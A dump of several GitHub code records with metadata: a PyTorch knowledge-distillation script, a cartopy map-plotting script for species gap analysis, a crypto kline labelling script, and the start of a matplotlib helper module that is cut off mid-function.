default=50,\n # help='save frequency')\n parser.add_argument('--batch_size', type=int, default=256,\n help='batch_size')\n parser.add_argument('--num_workers', type=int, default=8,\n help='num of workers to use')\n parser.add_argument('--epochs', type=int, default=100,\n help='number of training epochs')\n\n # optimization\n parser.add_argument('--learning_rate', type=float, default=0.1,\n help='learning rate')\n # parser.add_argument('--lr_decay_epochs', type=str, default='60,75,90',\n # help='where to decay lr, can be a list')\n # parser.add_argument('--lr_decay_rate', type=float, default=0.2,\n # help='decay rate for learning rate')\n parser.add_argument('--weight_decay', type=float, default=0,\n help='weight decay')\n # parser.add_argument('--momentum', type=float, default=0.9,\n # help='momentum')\n\n # model dataset\n parser.add_argument('--teacher_model', type=str, default='resnet50')\n parser.add_argument('--student_model', type=str, default='resnet50')\n parser.add_argument('--dataset', type=str, default='cifar10',\n choices=['cifar10', 'cifar100', 'path'], help='dataset')\n parser.add_argument('--data_folder', type=str, default=None, help='path to custom dataset')\n\n # other setting\n # parser.add_argument('--cosine', action='store_true',\n # help='using cosine annealing')\n # parser.add_argument('--warm', action='store_true',\n # help='warm-up for large batch training')\n\n parser.add_argument('--ckpt', type=str, default='',\n help='path to pre-trained model')\n\n opt = parser.parse_args()\n\n # set the path according to the environment\n if opt.dataset != 'path':\n opt.data_folder = './datasets/'\n \n \n\n # iterations = opt.lr_decay_epochs.split(',')\n # opt.lr_decay_epochs = list([])\n # for it in iterations:\n # opt.lr_decay_epochs.append(int(it))\n\n opt.model_name = '{}_{}_lr_{}_decay_{}_bsz_{}'.\\\n format(opt.dataset, opt.student_model, opt.learning_rate, opt.weight_decay,\n opt.batch_size)\n\n # if opt.cosine:\n # opt.model_name = '{}_cosine'.format(opt.model_name)\n\n # warm-up for large-batch training,\n # if opt.warm:\n # opt.model_name = '{}_warm'.format(opt.model_name)\n # opt.warmup_from = 0.01\n # opt.warm_epochs = 10\n # if opt.cosine:\n # eta_min = opt.learning_rate * (opt.lr_decay_rate ** 3)\n # opt.warmup_to = eta_min + (opt.learning_rate - eta_min) * (\n # 1 + math.cos(math.pi * opt.warm_epochs / opt.epochs)) / 2\n # else:\n # opt.warmup_to = opt.learning_rate\n\n if opt.dataset in ('cifar10', 'path'):\n opt.n_cls = 10\n elif opt.dataset == 'cifar100':\n opt.n_cls = 100\n else:\n raise ValueError('dataset not supported: {}'.format(opt.dataset))\n\n return opt\n\n\n\n\ndef set_loader(opt):\n # construct data loader\n if opt.dataset == 'cifar10':\n mean = (0.4914, 0.4822, 0.4465)\n std = (0.2023, 0.1994, 0.2010)\n elif opt.dataset == 'cifar100':\n mean = (0.5071, 0.4867, 0.4408)\n std = (0.2675, 0.2565, 0.2761)\n elif opt.dataset == 'path':\n mean = (0.41044191,0.45704237,0.46365224)\n std = std = (4.37454361,4.06389989,4.11659655)\n else:\n raise ValueError('dataset not supported: {}'.format(opt.dataset))\n normalize = transforms.Normalize(mean=mean, std=std)\n\n train_transform = transforms.Compose([\n #transforms.RandomResizedCrop(size=32, scale=(0.2, 1.)),\n #transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n normalize,\n ])\n\n val_transform = transforms.Compose([\n transforms.ToTensor(),\n normalize,\n ])\n\n if opt.dataset == 'cifar10':\n train_dataset = datasets.CIFAR10(root=opt.data_folder,\n transform=train_transform,\n download=True)\n val_dataset = datasets.CIFAR10(root=opt.data_folder,\n train=False,\n transform=val_transform)\n elif opt.dataset == 'cifar100':\n train_dataset = datasets.CIFAR100(root=opt.data_folder,\n transform=train_transform,\n download=True)\n val_dataset = datasets.CIFAR100(root=opt.data_folder,\n train=False,\n transform=val_transform)\n elif opt.dataset == 'path':\n train_dataset = datasets.ImageFolder(root=opt.data_folder+'train/',\n transform=train_transform)\n val_dataset = datasets.ImageFolder(root=opt.data_folder+'test/',\n transform=val_transform)\n else:\n raise ValueError(opt.dataset)\n\n train_sampler = None\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=opt.batch_size, shuffle=True, #(train_sampler is None),\n num_workers=opt.num_workers, #pin_memory=True\n )\n val_loader = torch.utils.data.DataLoader(\n val_dataset, batch_size=opt.batch_size, shuffle=True,\n num_workers=1, pin_memory=True)\n\n return train_loader, val_loader\n\n\n\n\ndef set_teacher_model(opt):\n model = SupConResNet(name=opt.teacher_model)\n criterion = torch.nn.CrossEntropyLoss()\n\n classifier = LinearClassifier(name=opt.teacher_model, num_classes=opt.n_cls)\n\n ckpt = torch.load(opt.ckpt, map_location='cpu')\n state_dict = ckpt['model']\n\n if torch.cuda.is_available():\n if torch.cuda.device_count() > 1:\n model.encoder = torch.nn.DataParallel(model.encoder)\n else:\n new_state_dict = {}\n for k, v in state_dict.items():\n k = k.replace(\"module.\", \"\")\n new_state_dict[k] = v\n state_dict = new_state_dict\n model = model.cuda()\n classifier = classifier.cuda()\n criterion = criterion.cuda()\n cudnn.benchmark = True\n\n model.load_state_dict(state_dict)\n\n return model, classifier, criterion\n\n\n\ndef set_student_model(opt):\n model = SupConResNet(name=opt.student_model)\n criterion = SupConLoss(temperature=opt.temp)\n\n # enable synchronized Batch Normalization\n if opt.syncBN:\n model = apex.parallel.convert_syncbn_model(model)\n\n if torch.cuda.is_available():\n if torch.cuda.device_count() > 1:\n model.encoder = torch.nn.DataParallel(model.encoder)\n model = model.cuda()\n criterion = criterion.cuda()\n cudnn.benchmark = True\n\n return model, criterion\n\n\n\n\n\nopt = parse_option()\n\ntrain_loader, test_loader = set_loader(opt)\n\nteacher_model, classifier, te_criterion = set_teacher_model(opt)\nstudent_model, st_criterion = set_student_model(opt)\n\nteacher_optimizer = optim.SGD(teacher_model.parameters(), 0.01)\nstudent_optimizer = optim.SGD(student_model.parameters(), 0.01)\n\ndistiller = VanillaKD(teacher_model, student_model, train_loader, test_loader, \n teacher_optimizer, student_optimizer)\n# # distiller.train_teacher(epochs=5, plot_losses=True, save_model=True) # Train the teacher network\n# distiller.train_student(epochs=5, plot_losses=True, save_model=True) # Train the student network\n# distiller.evaluate(teacher=False) # Evaluate the student network\n# distiller.get_parameters() # A utility function to get the number of \n # parameters in the teacher and the student network\n ", "repo_name": "alihaiderrizvi/Compression-Based-Perceiver", "sub_path": "distillation.py", "file_name": "distillation.py", "file_ext": "py", "file_size_in_byte": 8676, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 120, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 120, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 122, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 122, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 125, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 125, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 129, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 129, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 130, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 130, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 135, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 135, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 138, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 138, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 142, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 142, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 145, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 145, "usage_type": "name"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 149, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 149, "usage_type": "name"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 151, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 157, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 161, "usage_type": "attribute"}, {"api_name": "networks.resnet_big.SupConResNet", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 172, "usage_type": "attribute"}, {"api_name": "networks.resnet_big.LinearClassifier", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 179, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 180, "usage_type": "attribute"}, {"api_name": "torch.nn.DataParallel", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 181, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 191, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 191, "usage_type": "name"}, {"api_name": "networks.resnet_big.SupConResNet", "line_number": 200, "usage_type": "call"}, {"api_name": "losses.SupConLoss", "line_number": 201, "usage_type": "call"}, {"api_name": "apex.parallel.convert_syncbn_model", "line_number": 205, "usage_type": "call"}, {"api_name": "apex.parallel", "line_number": 205, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 207, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 208, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 208, "usage_type": "attribute"}, {"api_name": "torch.nn.DataParallel", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 209, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 212, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 212, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 227, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 228, "usage_type": "name"}, {"api_name": "KD_Lib.KD.VanillaKD", "line_number": 230, "usage_type": "call"}]} {"seq_id": "33566109597", "text": "from __future__ import division\nimport os\nimport cartopy.crs as ccrs\nimport cartopy.io.shapereader as shpreader\nimport matplotlib.pyplot as plt\n\n\n#Load country codes for map plotting\ndef readCodeDic(codeFile):\n codeDic = {}\n for line in open(codeFile):\n line2 = line.replace(\"\\r\",\"\").rstrip(\"\\n\").split(\"\\t\")\n if len(line2) == 2:\n codeDic[line2[0]] = line2[1]\n return(codeDic)\n\n#Load country based data\ndef loadCountryInfo(file1,codeDic):\n countryData = {}\n l = 0\n maxSpecs = 0\n for line in open(file1):\n l += 1\n line2 = line.replace(\"\\r\",\"\").replace(\"?\",\"\").rstrip(\"\\n\").split(\"\\t\")\n if len(line2) > 2 and l > 1:\n count = codeDic.get(line2[0],\"no data yet\")\n countryData[count] = [int(line2[1]),float(line2[2]),float(line2[3]),float(line2[4])]\n if count == \"no data yet\":\n print(line2[0] + \" no country code yet\")\n if int(line2[1]) > maxSpecs:\n maxSpecs = int(line2[1])\n return(countryData,maxSpecs)\n\n#Make maps for taxonomic groups\ndef makeMap(countryData,output,maxSpecs):\n #Define panel names\n levels = [\"Number of species\",\"BOLD public\", \"BOLD total\", \"Total\"]\n\n #Load details of map\n shapename = 'admin_0_countries'\n countries_shp = shpreader.natural_earth(resolution='10m',category='cultural', name=shapename)\n\n #Load colourmap\n cmap = plt.get_cmap(\"plasma_r\")\n\n #Make figure\n plt.figure(figsize=(20,14))\n for r in range(0,4):\n ax = plt.subplot(2,2,r+1,projection=ccrs.PlateCarree())\n for country in shpreader.Reader(countries_shp).records():\n code = country.attributes[\"ADM0_A3_US\"]\n value = countryData.get(code,[\"NA\",\"NA\",\"NA\",\"NA\"])\n if value[1] == \"NA\":\n ax.add_geometries(country.geometry, ccrs.PlateCarree(),\n lw=1,facecolor=(0.9,0.9,0.9),edgecolor=(0,0,0,1),alpha=1)\n else:\n if r == 0:\n col = list(cmap(value[r]/maxSpecs))\n else:\n col = list(cmap(value[r]))\n ax.add_geometries(country.geometry, ccrs.PlateCarree(),\n lw=1,facecolor=col,edgecolor=(0,0,0,1),alpha=1)\n\n #Make lables\n if r == 0:\n sm = plt.cm.ScalarMappable(cmap=cmap,norm=plt.Normalize(0,maxSpecs))\n else:\n sm = plt.cm.ScalarMappable(cmap=cmap,norm=plt.Normalize(0,1))\n sm._A = []\n cb = plt.colorbar(sm)\n cb.ax.set_yticklabels(cb.ax.get_yticklabels(), fontsize=8)\n\n #Map size\n ax.set_extent([-25,52,30,70])\n ax.set_aspect('auto', adjustable=\"box\")\n ax.set_title(levels[r],fontsize=10)\n\n\n #Save\n plt.savefig(output)\n plt.savefig(output[:-3] + \"pdf\")\n plt.close()\n\n\n#User defined variables\n#Folder including country summary files generated by FM_make_result_statistics.py\ninputFolder = \"output\"\n\n#Name of output folder\noutputFolder = \"maps\"\n\n#Name of country code file\ncodeDicFile = \"country_codes.txt\"\n\n#Prefix output\noutputPrefix = \"GapAnalysis\"\n\n#Do Analysis\n\n#Test if output folder exists, otherwise create it\nif not os.path.exists(outputFolder):\n os.makedirs(outputFolder)\n\n#Load input files for different taxonomic groups\nall_files = os.listdir(inputFolder)\nall_files = [f for f in all_files if f.endswith(\"country.tsv\")]\n\n#Load country codes for map plotting\ncodeDic = readCodeDic(codeDicFile)\n\n#For each taxonomic group, generate files\nfor file1 in all_files:\n #get basic information of the file\n name = file1.split(\"_\")[1]\n version = file1.split(\"_\")[2][1:]\n lim = file1.split(\"_\")[3][3:]\n #make output name\n out = outputFolder + \"/\" + outputPrefix + \"_\" + name + \"_v\" + str(version) + \"_lim\" + str(lim) + \".svg\"\n #load country-based information\n countryData,maxSpecs = loadCountryInfo(inputFolder + \"/\" + file1,codeDic)\n #generate map file\n makeMap(countryData,out,maxSpecs)\n print(\"map \" + name + \" for lim \" + str(lim) + \" finished\")\n", "repo_name": "dnaquanet/gap-analysis", "sub_path": "freshwater_macroinvertebrates/FM_plot_maps.py", "file_name": "FM_plot_maps.py", "file_ext": "py", "file_size_in_byte": 4037, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cartopy.io.shapereader.natural_earth", "line_number": 41, "usage_type": "call"}, {"api_name": "cartopy.io.shapereader", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 49, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 49, "usage_type": "name"}, {"api_name": "cartopy.io.shapereader.Reader", "line_number": 50, "usage_type": "call"}, {"api_name": "cartopy.io.shapereader", "line_number": 50, "usage_type": "name"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 54, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 54, "usage_type": "name"}, {"api_name": "cartopy.crs.PlateCarree", "line_number": 61, "usage_type": "call"}, {"api_name": "cartopy.crs", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm.ScalarMappable", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 66, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Normalize", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm.ScalarMappable", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 68, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Normalize", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 102, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 105, "usage_type": "call"}]} {"seq_id": "8454881592", "text": "# for sibling imports\nimport numpy as np\n\nimport os\nimport sys\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\n\nfrom config.params import KLINES_BEFORE, KLINES_AFTER, PERCENT_MOVEMENT_THRESHOLD\nfrom utils.base_path import get_file_path\nfrom utils.data_mutations import sets_to_grouped_sets\nfrom pprintpp import pprint\n\nraw_data = open(get_file_path(\"../data/raw_klines_data.m\"), \"r\").read().split('\\n')\nraw_data_without_timestamps = list(map(lambda x: ' '.join(x.split(' ')[1:]), raw_data))\ngrouped_sets = sets_to_grouped_sets(raw_data_without_timestamps)\n\n# print(grouped_sets[0])\n# print(len(grouped_sets[0]))\n\ndef get_aggregations(set):\n # we only want to create aggregates from KLINES_BEFORE\n # lets create an array of all opens from all KLINES_BEFORE\n\n # first we need to create an array so we can index into each position\n set_array = set.split(\" \")\n opens = []\n for i in range(KLINES_BEFORE):\n opens.append(float(set_array[i * 6]))\n np_opens = np.array(opens)\n\n # print(f\"{np_opens.sum()=}\")\n # print(f\"{np_opens.mean()=}\")\n # print(f\"{np_opens.std()=}\")\n # print(f\"{np_opens.var()=}\")\n # print(f\"{np_opens.min()=}\")\n # print(f\"{np_opens.max()=}\")\n # print(f\"{np.median(np_opens)=}\")\n # print(f\"{np.percentile(np_opens, 25)=}\")\n\n return [np_opens.sum(), np_opens.mean(), np_opens.std(), np_opens.var(), np_opens.min(), np_opens.max(), np.median(np_opens), np.percentile(np_opens, 25)]\n\n\n# pocs = open(get_file_path(\"../data/pocs.m\"), \"r\").read().split('\\n')\n# def get_poc(index):\n# return pocs[index]\n\ndef get_label(set):\n # this is getting the y value of the set.\n last_length = KLINES_AFTER * 6\n last_klines = set.split(\" \")[-last_length:] \n\n # get open from first and close from last \n # get total price movement\n # and it should be > 1%\n first_open = float(last_klines[0])\n last_close = float(last_klines[-3])\n price_movement = (last_close - first_open) / first_open\n\n buy_sell_or_hold = None\n if price_movement > PERCENT_MOVEMENT_THRESHOLD:\n buy_sell_or_hold = \"1\" # buy\n elif price_movement < -PERCENT_MOVEMENT_THRESHOLD:\n buy_sell_or_hold = \"0\" # sell\n else:\n buy_sell_or_hold = \"2\" # hold\n\n # all_but_last_klines = set.split(\" \")[0:-last_length]\n # all_but_last_klines.extend([str(first_open), buy_sell_or_hold])\n\n # return all_but_last_klines\n\n return buy_sell_or_hold;\n\ndef remove_klines_after(set):\n last_length = KLINES_AFTER * 6\n last_klines = set.split(\" \")[-last_length:] \n first_open = float(last_klines[0])\n all_except_last_klines = set.split(\" \")[0:-last_length]\n # remove klines_after but keep the next open price \n all_except_last_klines.extend([str(first_open)])\n return all_except_last_klines\n\nfirst_set = grouped_sets[0]\n# print(get_aggregations(grouped_sets[0]))\n# print(get_poc(0))\n# this should have a length of KLINES_BEFORE * 6 + 1\n# print(KLINES_BEFORE * 6 + 1 == len(remove_klines_after(first_set)))\n# print(remove_klines_after(first_set))\n# print(len(remove_klines_after(first_set)))\n# print(get_label(first_set))\nprint(len(first_set.split(\" \")))\ninput()\n\nfirst_labeled_set = f\"{' '.join(remove_klines_after(first_set))} {get_poc(0)} {' '.join(list(map(lambda x: str(x), get_aggregations(first_set))))} {get_label(first_set)}\"\n# print(len(first_labeled_set.split(' ')) == KLINES_BEFORE * 6 + 1 + 8 + 1 + 1)\n\nprint(len(first_labeled_set.split(' ')))\ninput()\n# print(first_labeled_set)\n\n\nbatch = grouped_sets[:10000]\n\ndef get_nn_data(set, index):\n return f\"{' '.join(remove_klines_after(set))} {get_poc(index)} {' '.join(list(map(lambda x: str(x), get_aggregations(set))))} {get_label(set)}\"\n\n# \"\\n\".join(list(map(get_nn_data)))\nnn_data = []\n\nfor i, set in enumerate(batch):\n nn_data.append(get_nn_data(set, i))\n\n# pprint(nn_data);\nprint(len(nn_data))\nprint(len(pocs))\n# \"\\n\".join(nn_data)\n\nnn_file = open(get_file_path(\"../data/nn_data.m\"), \"w\")\nnn_file.write(\"\\n\".join(nn_data))\n", "repo_name": "arthurysong/ToTheMoon", "sub_path": "scripts/create_nn_data.py", "file_name": "create_nn_data.py", "file_ext": "py", "file_size_in_byte": 3877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.insert", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "utils.base_path.get_file_path", "line_number": 13, "usage_type": "call"}, {"api_name": "utils.data_mutations.sets_to_grouped_sets", "line_number": 15, "usage_type": "call"}, {"api_name": "config.params.KLINES_BEFORE", "line_number": 27, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 40, "usage_type": "call"}, {"api_name": "config.params.KLINES_AFTER", "line_number": 49, "usage_type": "name"}, {"api_name": "config.params.PERCENT_MOVEMENT_THRESHOLD", "line_number": 60, "usage_type": "name"}, {"api_name": "config.params.PERCENT_MOVEMENT_THRESHOLD", "line_number": 62, "usage_type": "name"}, {"api_name": "config.params.KLINES_AFTER", "line_number": 75, "usage_type": "name"}, {"api_name": "utils.base_path.get_file_path", "line_number": 118, "usage_type": "call"}]} {"seq_id": "71450587743", "text": "#!@PYTHON@\n####!/usr/bin/env python\n\n\"\"\":py:class:`Graphics` wrapping methods for matplotlib\n=======================================================\n\nUsage::\n\n import pyimgalgos.Graphics as gr\n\n # Methods\n\n fig = gr.figure(figsize=(13,12), title='Image', dpi=80, facecolor='w', edgecolor='w', frameon=True, move=None)\n gr.move_fig(fig, x0=200, y0=100)\n gr.move(x0=200, y0=100)\n gr.add_axes(fig, axwin=(0.05, 0.03, 0.87, 0.93))\n gr.fig_img_cbar_axes(fig=None, win_axim=(0.05, 0.03, 0.87, 0.93), win_axcb=(0.923, 0.03, 0.02, 0.93))\n gr.set_win_title(fig, titwin='Image')\n gr.add_title_labels_to_axes(axes, title=None, xlabel=None, ylabel=None, fslab=14, fstit=20, color='k')\n gr.show(mode=None)\n gr.draw()\n gr.draw_fig(fig)\n gr.save_plt(fname='img.png', verb=True)\n gr.save_fig(fig, fname='img.png', verb=True)\n hi = gr.hist(axhi, arr, bins=None, amp_range=None, weights=None, color=None, log=False)\n imsh = gr.imshow(axim, img, amp_range=None, extent=None, interpolation='nearest', aspect='auto', origin='upper', orientation='horizontal', cmap='inferno')\n cbar = gr.colorbar(fig, imsh, axcb, orientation='vertical', amp_range=None)\n imsh, cbar = gr.imshow_cbar(fig, axim, axcb, img, amin=None, amax=None, extent=None, interpolation='nearest', aspect='auto', origin='upper', orientation='vertical', cmap='inferno')\n\nSee:\n - :py:class:`Graphics`\n - :py:class:`GlobalGraphics`\n - :py:class:`NDArrGenerators`\n - :py:class:`HBins`\n - :py:class:`HPolar`\n - :py:class:`HSpectrum`\n - :py:class:`NDArrSpectrum`\n - :py:class:`RadialBkgd`\n - `Radial background `_.\n - `matplotlib `_.\n\nThis software was developed for the SIT project.\nIf you use all or part of it, please give an appropriate acknowledgment.\n\nCreated in 2015 by Mikhail Dubrovin\n\"\"\"\nfrom __future__ import print_function\n\nimport numpy as np\n\nimport matplotlib\n#if matplotlib.get_backend() != 'Qt4Agg': matplotlib.use('Qt4Agg')\n\nimport matplotlib.pyplot as plt\n#import matplotlib.lines as lines\n#import matplotlib.patches as patches\n\nfrom CalibManager.PlotImgSpeWidget import add_stat_text\n\n\ndef dict_subset(d, keys):\n return {k:v for k,v in d.items() if k in keys}\n\n\ndef figure(**kwa):\n \"\"\" Creates and returns figure.\n figsize=(13,12), title='Image', dpi=80, facecolor='w', edgecolor='w', frameon=True\n \"\"\"\n fig = plt.figure(**dict_subset(kwa, ('num', 'figsize', 'dpi', 'facecolor', 'edgecolor', 'frameon', 'FigureClass', 'clear',\\\n 'linewidth', 'subplotpars', 'tight_layout', 'constrained_layout')))\n move = kwa.get('move', None)\n title = kwa.get('title', '')\n if title: fig.canvas.set_window_title(title)\n if move: move_fig(fig, x0=move[0], y0=move[1])\n return fig\n\n\ndef pp_hist(axis, x, **kwa):\n \"\"\" matplotlib.pyplot.hist(x,\n bins=10,\n range=None,\n normed=False,\n weights=None,\n cumulative=False,\n bottom=None,\n histtype=u'bar',\n align=u'mid',\n orientation=u'vertical',\n rwidth=None,\n log=False,\n color=None,\n label=None,\n stacked=False,\n hold=None,\n **kwargs)\n \"\"\"\n return axis.hist(x, **dict_subset(kwa,\\\n ('bins', 'range', 'normed', 'weights', 'cumulative', 'bottom', 'histtype', 'align',\\\n 'orientation', 'rwidth', 'log', 'color', 'label', 'stacked', 'hold')))\n\n\ndef move_fig(fig, x0=200, y0=100):\n #fig.canvas.manager.window.geometry('+%d+%d' % (x0, y0)) # in previous version of matplotlib\n backend = matplotlib.get_backend()\n #logger.debug('matplotlib.get_backend(): %s' % backend)\n if backend == 'TkAgg': # this is our case\n fig.canvas.manager.window.wm_geometry(\"+%d+%d\" % (x0, y0))\n elif backend == 'WXAgg':\n fig.canvas.manager.window.SetPosition((x0, y0))\n else:\n # This works for QT and GTK\n # You can also use window.setGeometry\n fig.canvas.manager.window.move(x0, y0)\n\n\ndef move(x0=200,y0=100):\n move_fig(plt.gcf(), x0, y0)\n #plt.get_current_fig_manager().window.move(x0, y0)\n #plt.get_current_fig_manager().window.geometry('+%d+%d' % (x0, y0))\n\n\ndef add_axes(fig, axwin=(0.05, 0.03, 0.87, 0.93)):\n \"\"\"Add axes to figure from input list of windows.\n \"\"\"\n return fig.add_axes(axwin)\n\n\ndef fig_img_axes(fig=None, win_axim=(0.08, 0.05, 0.89, 0.93)):\n \"\"\" Returns figure and image axes\n \"\"\"\n _fig = figure(figsize=(6,5)) if fig is None else fig\n axim = _fig.add_axes(win_axim)\n return _fig, axim\n\n\ndef fig_axes(fig, windows=((0.05, 0.03, 0.87, 0.93), (0.923, 0.03, 0.02, 0.93))):\n \"\"\" Returns list of figure axes for input list of windows\n \"\"\"\n return [fig.add_axes(w) for w in windows]\n\n\ndef fig_img_cbar_axes(fig=None,\\\n win_axim=(0.05, 0.03, 0.87, 0.93),\\\n win_axcb=(0.923, 0.03, 0.02, 0.93)):\n \"\"\" Returns figure and axes for image and color bar\n \"\"\"\n _fig = figure() if fig is None else fig\n axim = _fig.add_axes(win_axim)\n axcb = _fig.add_axes(win_axcb)\n return _fig, axim, axcb\n\n\ndef fig_axim_axcb_imsh(figsize=(13,12), title='Image', dpi=80,\\\n win_axim=(0.05, 0.03, 0.87, 0.93),\\\n win_axcb=(0.923, 0.03, 0.02, 0.93),\\\n arr2d=np.zeros((10,10)), origin='upper'):\n \"\"\" Creates and returns figure, axes for image and color bar, imshow object\n \"\"\"\n fig = plt.figure(figsize=figsize, dpi=dpi, facecolor='w', edgecolor='w', frameon=True)\n axim = fig.add_axes(win_axim)\n axcb = fig.add_axes(win_axcb)\n fig.canvas.set_window_title(title)\n imsh = axim.imshow(arr2d, interpolation='nearest', aspect='auto', origin=origin)\n return fig, axim, axcb, imsh\n\n\nFYMIN, FYMAX = 0.050, 0.90\ndef fig_img_cbar_hist_axes(fig=None,\\\n win_axim=(0.02, FYMIN, 0.8, FYMAX),\\\n win_axcb=(0.915, FYMIN, 0.01, FYMAX),\\\n win_axhi=(0.76, FYMIN, 0.15, FYMAX),\\\n **kwa):\n \"\"\" Returns figure and axes for image, color bar, and spectral histogram\n \"\"\"\n _fig = figure() if fig is None else fig\n return _fig,\\\n _fig.add_axes(win_axim, **kwa),\\\n _fig.add_axes(win_axcb, **kwa),\\\n _fig.add_axes(win_axhi, **kwa)\n\n\ndef set_win_title(fig, titwin='Image'):\n fig.canvas.set_window_title(titwin)\n\n\ndef add_title_labels_to_axes(axes, title=None, xlabel=None, ylabel=None, fslab=14, fstit=20, color='k'):\n if title is not None: axes.set_title(title, color=color, fontsize=fstit)\n if xlabel is not None: axes.set_xlabel(xlabel, fontsize=fslab)\n if ylabel is not None: axes.set_ylabel(ylabel, fontsize=fslab)\n\n\ndef show(mode=None):\n 